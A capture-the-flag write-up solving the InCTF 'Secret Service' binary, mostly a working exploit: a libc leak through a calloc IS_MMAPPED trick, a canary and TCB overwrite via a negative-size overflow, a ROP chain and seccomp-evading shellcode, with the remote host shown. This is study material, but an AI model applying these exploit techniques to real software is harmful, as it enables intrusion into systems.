Secret Service
1000
Description
There’s a secret service hidden within the depths of the binary. Get into the service , use/pwn it as per your needs and dont forget to leave a feedback :P.
Note - The flag is eagerly wating to be read from the flag file , flag.
Connect To - nc 35.245.143.0 7777
Author - Cyb0rG
Attachment: handout.zip xpl.py
Pwn Thyself!
Name: abc
Age: 100
Hold on while I redirect u to the secret service!
Nah you're a kiddo!
Tata Bye Bye!
To be able to start with pwning the binary at all, we’ll have to “guess” a randomized age first.
unsigned long randomize_age ( long * mapped )
{
unsigned int val1 ;
unsigned int val2 ;
unsigned int seed ;
time_t timer ;
seed = time ( & timer );
do
{
srand ( seed / 0x3C );
val1 = rand () % 0xF000u + 4096 ;
seed += rand () % 300 + 1 ;
srand ( seed / 0x1E );
val2 = rand () % 0xF000u + 4096 ;
* mapped = v2 ;
* mapped &= v1 ;
}
while ( * mapped <= 4095LL );
...
}
Okay, some monkey work to do, but we can easily simulate this randomization to guess the age in our script.
#!/usr/bin/python
from pwn import *
import sys
import ctypes
ctypes . cdll . LoadLibrary ( "libc.so.6" )
lc = ctypes . CDLL ( "libc.so.6" )
LOCAL = True
HOST = "35.245.143.0"
PORT = 7777
AGE = 0
def calcage ():
v4 = lc . time ( None )
a1 = 0
while a1 <= 4095 :
seed = v4 / 0x3c
lc . srand ( int ( seed ))
v1 = lc . rand () % 0xf000 + 4096
v4 += lc . rand () % 300 + 1
lc . srand ( int ( v4 / 0x1e ))
v2 = lc . rand () % 0xf000 + 4096
a1 = v2 & 0xffff
a1 &= v1
return a1
def exploit ( r ):
name = "AAAA"
r . recvline ()
r . sendlineafter ( ": " , name )
r . sendlineafter ( ": " , str ( AGE ))
r . recvuntil ( ">> " )
r . interactive ()
return
if __name__ == "__main__" :
libc = ELF ( "./libc.so.6" )
AGE = calcage ()
if len ( sys . argv ) > 1 :
LOCAL = False
r = remote ( HOST , PORT )
exploit ( r )
else :
LOCAL = True
r = process ( "./chall" , env = { "LD_PRELOAD" : "./libc.so.6" })
print ( util . proc . pidof ( r ))
pause ()
exploit ( r )
$ python3 work.py
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
0x2004
[+] Starting local process './chall': pid 6892
[6892]
[*] Paused (press any to continue)
[*] Switching to interactive mode
Hold on while I redirect u to the secret service!
Secret Service
+-----------------------------+
| 1. Enroll Yourself |
| 2. View Your Details |
| 3. Remove Yourself |
| 4. Move on |
| 5. Quit Service |
+-----------------------------+
Your Choice >> $
So, now we have several options, which come down to malloc, show and free.
The allocation uses calloc
, which will allocate a chunk and zero it out, so no previous data from it can be reused.
int enroll_yourself ()
{
char * chunk ;
int idx ;
unsigned int size ;
if ( ENROLLMENT_COUNT > 2 )
return puts ( "No more enrollments allowed!" );
printf ( "Enter Enrollment Index : " );
idx = read_number ();
if ( ENROLLMENT_SET [ idx ] || idx > 2 )
return puts ( "Invalid or already enrolled!" );
printf ( "Enter size : " );
size = read_number ();
if ( size <= 0x7E || size > 0xFFF9 )
{
puts ( "Size not allowed!" );
do_exit ();
}
ENROLLMENT_SIZES [ idx ] = size ;
puts ( "Enter your details -> " );
chunk = calloc ( ENROLLMENT_SIZES [ idx ], 1 );
read_string ( chunk , ENROLLMENT_SIZES [ idx ]);
ENROLLMENTS [ idx ] = chunk ;
ENROLLMENT_SET [ idx ] = 1 ;
++ ENROLLMENT_COUNT ;
return puts ( "Ok! You are enrolled now" );
}
Nothing special in remove and view, they can just be used to view the content of the chunk or free it, no uaf or something similar, we’ll be using them just for getting a libc leak.
But how can we leak something, if the chunks gets cleared immediately after allocation?
Not sure where, but sometime ago, I read about the possibility to make calloc
not initializing the memory allocated. Taking a look at the implementation of calloc
in malloc.c
, we can find this:
#define chunk_is_mmapped(p) ((p)->mchunk_size & IS_MMAPPED)
...
void * __libc_calloc ( size_t n , size_t elem_size )
{
...
/* Two optional cases in which clearing not necessary */
if ( chunk_is_mmapped ( p ))
{
if ( __builtin_expect ( perturb_byte , 0 ))
return memset ( mem , 0 , sz );
return mem ;
}
...
}
This means, if the IS_MMAPPED
bit from the chunk size is set, calloc
will not zero out the content of the chunk before returning it.
Let’s keep this in mind and check the rest of the available commands in the menu
if ( choice == 2020 )
secret_service ();
There’s a function not shown in the menu (available by entering 2020
)
int secret_service ()
{
_BYTE * v1 ;
unsigned int idx ;
if ( USED > 1 )
return puts ( "No more hacking allowed!" );
printf ( "Enter index of Enrolled Candidate: " );
idx = read_number ();
if ( ! ENROLLMENTS [ idx ] || idx > 2 )
return puts ( "Invalid Index!" );
v1 = ( char * ) ENROLLMENTS [ idx ] - 8 ; // point to chunk size
++* v1 ; // increase chunk size by 1
return USED ++ + 1 ;
}
This function will increase the chunk size by 1 and may be used twice (also it doesn’t check if the current chunk is already freed), and that’s exactly what we need to set the IS_MMAPPED
bit in the chunk size for a freed chunk.
So let’s prepare the libc leak by creating a big enough chunk, free it, set the IS_MMAPPED bit by using the secret function and reallocate it.
def inc_chunksize ( idx ):
r . sendline ( "2020" )
r . sendlineafter ( ": " , str ( idx ))
r . recvuntil ( ">> " )
...
# create chunk and free it
enroll ( 0 , 0x800 , "A" * 0x800 )
rem ( 0 )
# set IS_MMAPPED bit in free chunk size
inc_chunksize ( 0 )
inc_chunksize ( 0 )
# reallocate it (chunk will be uninitialized now)
enroll ( 0 , 0xd20 - 8 , "A" )
# read libc address from allocated chunk
LEAK = u64 ( view ( 0 )[: 6 ]. ljust ( 8 , b " \x00 " )) - 0x41 + 0xe0
libc . address = LEAK - 0x70 - libc . symbols [ "__malloc_hook" ]
log . info ( "LEAK : %s" % hex ( LEAK ))
log . info ( "LIBC : %s" % hex ( libc . address ))
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Starting local process './chall': pid 8193
[8193]
[*] Paused (press any to continue)
[*] LEAK : 0x7f2879d08be0
[*] LIBC : 0x7f2879b1d000
[*] Switching to interactive mode
Exhausting the use of the menu functions to get the libc leak, let’s take a look at the feedback function now.
if ( choice < 5 )
{
puts ( "Do u want to leave a feedback for the service?(y/n)" );
__isoc99_scanf ( "%c" , s1 );
if ( ! strcmp ( s1 , "y" ) )
{
pthread_create ( & newthread , 0LL , start_routine , 0LL );
pthread_join ( newthread , 0LL );
}
else
{
puts ( "Thank you!" );
}
exit ( 0 );
}
unsigned long leave_feedback ()
{
char buffer ;
unsigned long canary ;
canary = __readfsqword ( 0x28u );
puts ( "A new thread has been created for feedback" );
printf ( "Enter size of feedback: " );
__isoc99_scanf ( "%d" , & FEEDBACK_SIZE );
printf ( "Enter feedback: " );
if ( FEEDBACK_SIZE > 112 )
{
puts ( "Size too large" );
do_exit ();
}
dup_output_to_null ();
dup_error_to_null ();
read_feedback ( & buffer , FEEDBACK_SIZE );
puts ( "Thank you!" );
return __readfsqword ( 0x28u ) ^ canary ;
}
No lower boundary check for FEEDBACK_SIZE
here, so we can specify a negative feedback size, resulting in read_feedback
reading near unlimited input, easily overflowing the buffer.
But, we’ll have to get around the canary check, which otherwise will stop us from doing something useful with this overflow.
Well, the feedback function was called via a thread created by pthread_create
, thus creating its own stack for this function in a mmapped region and puts a tcbhead_t
struct on it to for accessing thread specific information (and it will also contain the stack canary used for the canary check).
typedef struct
{
void * tcb ; /* Pointer to the TCB. Not necessarily the thread descriptor used by libpthread. */
dtv_t * dtv ;
void * self ; /* Pointer to the thread descriptor. */
int multiple_threads ;
int gscope_flag ;
uintptr_t sysinfo ;
uintptr_t stack_guard ;
uintptr_t pointer_guard ;
unsigned long int vgetcpu_cache [ 2 ];
# ifndef __ASSUME_PRIVATE_FUTEX
int private_futex ;
# else
int __glibc_reserved1 ;
# endif
int __glibc_unused1 ;
/* Reservation of some values for the TM ABI. */
void * __private_tm [ 4 ];
/* GCC split stack support. */
void * __private_ss ;
long int __glibc_reserved2 ;
/* Must be kept even if it is no longer used by glibc since programs,
like AddressSanitizer, depend on the size of tcbhead_t. */
__128bits __glibc_unused2 [ 8 ][ 4 ] __attribute__ (( aligned ( 32 )));
void * __padding [ 8 ];
} tcbhead_t ;
Since we have an (almost) unlimited overwrite in the feedback function, we can for one overwrite the local canary and also the stored canary in the tcbhead_t
struct.
$rax : 0x7ffff7d3ae50
$rbx : 0x7ffff7d3ae50
$rcx : 0x7ffff7ee881b
$rdx : 0x1
$rsp : 0x7ffff7d3ae20
$rbp : 0x7ffff7d3ae30
$rsi : 0x7ffff7d3ae50
$rdi : 0x0
$rip : 0x00005555555554c9
$r8 : 0x0
$r9 : 0x10
$r10 : 0x0
$r11 : 0x0
$r12 : 0x7fffffffec6e
$r13 : 0x7fffffffec6f
$r14 : 0x7fffffffec70
$r15 : 0x7ffff7d3afc0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x5555555554bc mov edx, 0x1
0x5555555554c1 mov rsi, rax
0x5555555554c4 mov edi, 0x0
→ 0x5555555554c9 call 0x555555555110 <read@plt>
↳ 0x555555555110 <read@plt+0> jmp QWORD PTR [rip+0x3e2a] # 0x555555558f40 <read@got.plt>
0x555555555116 <read@plt+6> push 0xe
0x55555555511b <read@plt+11> jmp 0x555555555020
0x555555555120 <srand@plt+0> jmp QWORD PTR [rip+0x3e22] # 0x555555558f48 <srand@got.plt>
0x555555555126 <srand@plt+6> push 0xf
0x55555555512b <srand@plt+11> jmp 0x555555555020
──────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
gef➤ x/30gx 0x7ffff7d3ae50
0x7ffff7d3ae50: 0x0000000000000000 0x0000000000000000
0x7ffff7d3ae60: 0x0000000000000000 0x0000000000000000
0x7ffff7d3ae70: 0x0000000000000000 0x0000000000000000
0x7ffff7d3ae80: 0x0000000000000000 0x0000000000000000
0x7ffff7d3ae90: 0x0000000000000000 0x0000000000000000
0x7ffff7d3aea0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3aeb0: 0x0000000000000000 0x9ba031482374c300 <= local canary
0x7ffff7d3aec0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3aed0: 0x00007ffff7d3aef0 0x000055555555565f
0x7ffff7d3aee0: 0x00007ffff7d3b700 0x0000000000000000
0x7ffff7d3aef0: 0x0000000000000000 0x00007ffff7d48609
0x7ffff7d3af00: 0x0000000000000000 0x00007ffff7d3b700
0x7ffff7d3af10: 0x00007ffff7d3b700 0xd4b580512c39fc65
0x7ffff7d3af20: 0x00007fffffffec6e 0x00007fffffffec6f
0x7ffff7d3af30: 0x00007fffffffec70 0x00007ffff7d3afc0
0x7ffff7d3af40: 0x2b4a6ff67239fc65 0x2b4a6ff8275bfc65
0x7ffff7d3af50: 0x0000000000000000 0x0000000000000000
0x7ffff7d3af60: 0x0000000000000000 0x0000000000000000
0x7ffff7d3af70: 0x0000000000000000 0x0000000000000000
0x7ffff7d3af80: 0x0000000000000000 0x0000000000000000
0x7ffff7d3af90: 0x0000000000000000 0x9ba031482374c300
...
...
0x7ffff7d3b670: 0x00007ffff7fc34a0 0x00007ffff7d3bdb8
0x7ffff7d3b680: 0x0000000000000000 0x00007ffff7f754c0
0x7ffff7d3b690: 0x00007ffff7f75ac0 0x00007ffff7f763c0
0x7ffff7d3b6a0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b6b0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b6c0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b6d0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b6e0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b6f0: 0x0000000000000000 0x0000000000000000
0x7ffff7d3b700: 0x00007ffff7d3b700 0x000055555555e490
0x7ffff7d3b710: 0x00007ffff7d3b700 0x0000000000000001
0x7ffff7d3b720: 0x0000000000000000 0x9ba031482374c300 <== stack guard
0x7ffff7d3b730: 0xfe32ea5ac028961c 0x0000000000000000
0x7ffff7d3b740: 0x0000000000000000 0x0000000000000000
Just started my payload with a lot of A
s (overwriting the local canary) and then padded enough A
s to the end of the payload to make sure, that we’ll also be overwriting the stored stack guard.
payload = b "A" * ( 136 - 8 ) # overwriting canary
payload += p64 ( 0xcafebabe )
payload += p64 ( 0xdeadbeef )
payload += b "A" * ( 4000 - len ( payload )) # overwriting TCB
0x000055555555562f in ?? ()
────────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x4141414141414141 ("AAAAAAAA"?)
$rbx : 0x7ffff7d3ae50
$rcx : 0x7ffff7ee808f
$rdx : 0x41414141
$rsp : 0x7ffff7d3ae40
$rbp : 0x7ffff7d3aed0
$rsi : 0x7ffff7fc3723
$rdi : 0x7ffff7fc54c0
$rip : 0x000055555555562f
$r8 : 0xb
$r9 : 0x10
$r10 : 0x0
$r11 : 0x41414141
$r12 : 0x7fffffffec6e
$r13 : 0x7fffffffec6f
$r14 : 0x7fffffffec70
$r15 : 0x7ffff7d3afc0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555625 call 0x555555555070 <puts@plt>
0x55555555562a nop
0x55555555562b mov rax, QWORD PTR [rbp-0x18]
→ 0x55555555562f xor rax, QWORD PTR fs:0x28
0x555555555638 je 0x55555555563f
0x55555555563a call 0x555555555090 <__stack_chk_fail@plt>
0x55555555563f add rsp, 0x88
0x555555555646 pop rbx
0x555555555647 pop rbp
gef➤ ni
Thread 2 "chall" received signal SIGALRM, Alarm clock.
0x0000555555555638 in ?? ()
───────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x7ffff7d3ae50
$rcx : 0x7ffff7ee808f
$rdx : 0x41414141
$rsp : 0x7ffff7d3ae40
$rbp : 0x7ffff7d3aed0
$rsi : 0x7ffff7fc3723
$rdi : 0x7ffff7fc54c0
$rip : 0x0000555555555638
$r8 : 0xb
$r9 : 0x10
$r10 : 0x0
$r11 : 0x41414141
$r12 : 0x7fffffffec6e
$r13 : 0x7fffffffec6f
$r14 : 0x7fffffffec70
$r15 : 0x7ffff7d3afc0
$eflags: [ZERO carry PARITY adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
────────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
0x555555555628 (bad)
0x555555555629 call QWORD PTR [rax-0x17ba74b8]
0x55555555562f xor rax, QWORD PTR fs:0x28
→ 0x555555555638 je 0x55555555563f TAKEN [Reason: Z]
↳ 0x55555555563f add rsp, 0x88
0x555555555646 pop rbx
0x555555555647 pop rbp
0x555555555648 ret
0x555555555649 push rbp
0x55555555564a mov rbp, rsp
...
─────────────────────────────────────────────────────────────────────────────────────────────────────────────── registers ────
$rax : 0x0
$rbx : 0x4141414141414141 ("AAAAAAAA"?)
$rcx : 0x7ffff7ee808f
$rdx : 0x41414141
$rsp : 0x7ffff7d3aee0
$rbp : 0xcafebabe
$rsi : 0x7ffff7fc3723
$rdi : 0x7ffff7fc54c0
$rip : 0xdeadbeef
$r8 : 0xb
$r9 : 0x10
$r10 : 0x0
$r11 : 0x41414141
$r12 : 0x7fffffffec6e
$r13 : 0x7fffffffec6f
$r14 : 0x7fffffffec70
$r15 : 0x7ffff7d3afc0
$eflags: [zero carry parity adjust sign trap INTERRUPT direction overflow resume virtualx86 identification]
$cs: 0x0033 $ss: 0x002b $ds: 0x0000 $es: 0x0000 $fs: 0x0000 $gs: 0x0000
───────────────────────────────────────────────────────────────────────────────────────────────────────────── code:x86:64 ────
[!] Cannot disassemble from $PC
─────────────────────────────────────────────────────────────────────────────────────────────────────────────────── stack ────
[!] Unmapped address
[!] Cannot access memory at address 0xdeadbeef
So now that we have rip
control, we need to get around some seccomp
rules, which were initialized in the beginning of the challenge. Also, the feedback function dups stdout and stderr file descriptors to /dev/null
, so we cannot just output something anymore.
Let’s check the seccomp rules first
0000: 0x20 0x00 0x00 0x00000004 A = arch
0001: 0x15 0x00 0x1f 0xc000003e if (A != ARCH_X86_64) goto 0033
0002: 0x20 0x00 0x00 0x00000000 A = sys_number
0003: 0x35 0x00 0x01 0x40000000 if (A < 0x40000000) goto 0005
0004: 0x15 0x00 0x1c 0xffffffff if (A != 0xffffffff) goto 0033
0005: 0x15 0x1a 0x00 0x00000003 if (A == close) goto 0032
0006: 0x15 0x19 0x00 0x00000005 if (A == fstat) goto 0032
0007: 0x15 0x18 0x00 0x00000009 if (A == mmap) goto 0032
0008: 0x15 0x17 0x00 0x0000000a if (A == mprotect) goto 0032
0009: 0x15 0x16 0x00 0x0000000b if (A == munmap) goto 0032
0010: 0x15 0x15 0x00 0x00000014 if (A == writev) goto 0032
0011: 0x15 0x14 0x00 0x00000020 if (A == dup) goto 0032
0012: 0x15 0x13 0x00 0x00000021 if (A == dup2) goto 0032
0013: 0x15 0x12 0x00 0x00000023 if (A == nanosleep) goto 0032
0014: 0x15 0x11 0x00 0x00000025 if (A == alarm) goto 0032
0015: 0x15 0x10 0x00 0x00000038 if (A == clone) goto 0032
0016: 0x15 0x0f 0x00 0x0000003c if (A == exit) goto 0032
0017: 0x15 0x0e 0x00 0x00000048 if (A == fcntl) goto 0032
0018: 0x15 0x0d 0x00 0x000000e6 if (A == clock_nanosleep) goto 0032
0019: 0x15 0x0c 0x00 0x000000e7 if (A == exit_group) goto 0032
0020: 0x15 0x0b 0x00 0x00000101 if (A == openat) goto 0032
0021: 0x15 0x0a 0x00 0x00000111 if (A == set_robust_list) goto 0032
0022: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0027
0023: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0024: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0033
0025: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0026: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0032 else goto 0033
0027: 0x15 0x00 0x05 0x00000001 if (A != write) goto 0033
0028: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # write(fd, buf, count)
0029: 0x15 0x00 0x03 0x00000000 if (A != 0x0) goto 0033
0030: 0x20 0x00 0x00 0x00000010 A = fd # write(fd, buf, count)
0031: 0x15 0x00 0x01 0x00000001 if (A != 0x1) goto 0033
0032: 0x06 0x00 0x00 0x7fff0000 return ALLOW
0033: 0x06 0x00 0x00 0x00000000 return KILL
Ok, that’s something we can work with, we just cannot do a simple execve
ropchain.
There are multiple ways to deal with this now, I just went with doing a mmap(0x40000, 0x1000, 7, 22, 0, 0)
ropchain to allocate a rwx
section, read shellcode there and execute it (could have been done in one ropchain, but it was more comfortable to write some asm than editing the ropchain over and over).
So first getting some useful gadgets from the provided libc
POPRDI = libc . address + 0x26b72
POPRSI = libc . address + 0x27529
POPRDXRBX = libc . address + 0x1626d6
POPRCX = libc . address + 0x9f822
SYSCALL = libc . address + 0x66229
POPRAX = libc . address + 0x4a550
CLEARR8 = libc . address + 0x0000000000049dfd
CLEARR9 = libc . address + 0x00000000000c9ccf
MOVR10RDXJMPRAX = libc . address + 0x000000000007b0cb
RET = libc . address + 0x0000000000025679
Didn’t find a gadget to directly set $r10
, so I used mov r10, rdx; jmp rax
. For this we’ll have to prepare rax
before executing this gadget to return to our ropchain agin.
payload = b "A" * ( 136 - 8 )
payload += p64 ( 0xcafebabe )
# mmap
payload += p64 ( POPRDI )
payload += p64 ( 0x40000 )
payload += p64 ( POPRSI )
payload += p64 ( 0x1000 )
payload += p64 ( POPRDXRBX )
payload += p64 ( 0x22 )
payload += p64 ( 0x22 )
payload += p64 ( POPRAX ) # prepare for mov r10
payload += p64 ( RET ) # jmp rax will return to next gadget
payload += p64 ( MOVR10RDXJMPRAX )
payload += p64 ( POPRDXRBX )
payload += p64 ( 7 )
payload += p64 ( 0x22 )
payload += p64 ( CLEARR8 )
payload += p64 ( CLEARR9 )
payload += p64 ( POPRAX )
payload += p64 ( 9 )
payload += p64 ( POPRCX )
payload += p64 ( 0x22 )
payload += p64 ( SYSCALL )
# read
payload += p64 ( POPRAX )
payload += p64 ( 0 )
payload += p64 ( POPRDI )
payload += p64 ( 0 )
payload += p64 ( POPRSI )
payload += p64 ( 0x40000 )
payload += p64 ( POPRDXRBX )
payload += p64 ( 0x400 )
payload += p64 ( 0 )
payload += p64 ( SYSCALL )
payload += p64 ( 0x40000 ) # jmp to shellcode
payload += b "A" * ( 4000 - len ( payload )) # pad to overwrite tcb canary
When this ropchain is executed, we’ll have a rwx
section at 0x40000
and a read
waiting to write into it. After the read, it will just jump into the mmapped region and execute our shellcode.
Checking the seccomp rules again, we cannot simply use an open
syscall, but openat
syscall is allowed, which can be used to open the flag
file.
// openat
mov rax, 0x101 // openat
mov rdi, -1
mov rsi, 0x40200 // points to /home/ctf/flag
xor rdx, rdx
mov rcx, 0
syscall
This will open the flag
file and assign the fd 5
to it. But trying to read from 5
will just result in a SIGSYS
fault, since it’s not allowed to read from that file descriptor by the seccomp rules in place.
0022: 0x15 0x00 0x04 0x00000000 if (A != read) goto 0027
0023: 0x20 0x00 0x00 0x00000014 A = fd >> 32 # read(fd, buf, count)
0024: 0x15 0x00 0x08 0x00000000 if (A != 0x0) goto 0033
0025: 0x20 0x00 0x00 0x00000010 A = fd # read(fd, buf, count)
0026: 0x15 0x05 0x06 0x00000000 if (A == 0x0) goto 0032 else goto 0033
This allows to execure a read
syscall only, if the file descriptor is 0, otherwise seccomp will abort execution.
But we’re allowed to dup2
, so we can easily fix this
// dup file to stdin
xor rax, rax
mov al, 0x21
mov rdi, 5
mov rsi, 0
syscall
// read file
xor rax, rax
mov rdi, 0
mov rsi, 0x40300
mov rdx, 100
syscall
This will dup the flag file descriptor to 0
, which enables us again to read from it (and store the file content at 0x403000
).
Still, stdout
fd points to /dev/null
, so we cannot write the file content back.
Let’s check the function used for that.
long dup_output_to_null ()
{
unsigned int res ;
int fd ;
fflush ( stdout );
res = dup ( 1 );
fd = open ( "/dev/null" , 1 );
dup2 ( fd , 1 );
close ( fd );
return v0 ;
}
This was used earlier in the binary, when stdout
also needed to be reenabled, so it dup2
s the original stdout
pointer first and this duplicated file descriptor now still exists. We just have to copy it back.
// reopen stdout
xor rax, rax
mov al, 0x21
mov rdi, 3
mov rsi, 1
syscall
// write output
xor rax, rax
mov al, 1
xor rdi, rdi
mov rdi, 1
xor rsi, rsi
mov rsi, 0x40300
mov rdx, 0x100
syscall
This will dup
the original file descriptor back to fd 1
, with which we can then write the flag file content back and finally getting our flag.
context . arch = "amd64"
payload = asm ( SC )
payload += b " \x90 " * ( 0x200 - len ( payload ))
payload += b "/home/ctf/flag \x00 "
r . sendline ( payload )
r . interactive ()
$ python3 work.py 1
[*] '/home/kileak/ctf/inctf/secret/handout/libc.so.6'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: PIE enabled
[+] Opening connection to 35.245.143.0 on port 7777: Done
[*] LEAK : 0x7f8a6c3e5be0
[*] LIBC : 0x7f8a6c1fa000
[*] Paused (press any to continue)
[*] Paused (press any to continue)
[*] Switching to interactive mode
inctf{wh3r3_d1d_y0u_l4nd_up_f1nally_st4ck_H34p_st4ck_0r_H34p_1963290327101999}
\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00Illegal instruction
[*] Got EOF while reading in interactive